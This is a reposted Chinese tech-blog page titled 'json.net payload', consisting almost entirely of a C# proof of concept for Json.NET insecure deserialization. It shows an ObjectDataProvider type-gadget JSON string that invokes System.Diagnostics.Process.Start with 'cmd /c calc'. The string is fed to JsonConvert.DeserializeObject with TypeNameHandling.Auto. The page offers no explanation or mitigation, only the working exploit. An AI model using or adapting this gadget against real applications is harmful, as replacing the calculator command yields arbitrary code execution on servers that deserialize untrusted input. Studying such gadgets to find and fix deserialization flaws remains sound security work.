首页 > Web开发 > 详细

json.net payload

时间:2021-08-18 15:40:13      阅读:21      评论:0      收藏:0      [点我收藏+]
 string json = @"{
            ‘$type‘:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35‘,
            ‘MethodName‘:‘Start‘,
            ‘MethodParameters‘:{
                 ‘$type‘:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089‘,
                ‘$values‘:[‘cmd‘,‘/ccalc‘]
            },
            ‘ObjectInstance‘:{ ‘$type‘:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089‘}
           }";

            var result = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings()
            {
                TypeNameHandling = TypeNameHandling.Auto
            });

 

json.net payload

原文:https://www.cnblogs.com/gaocong/p/15156319.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!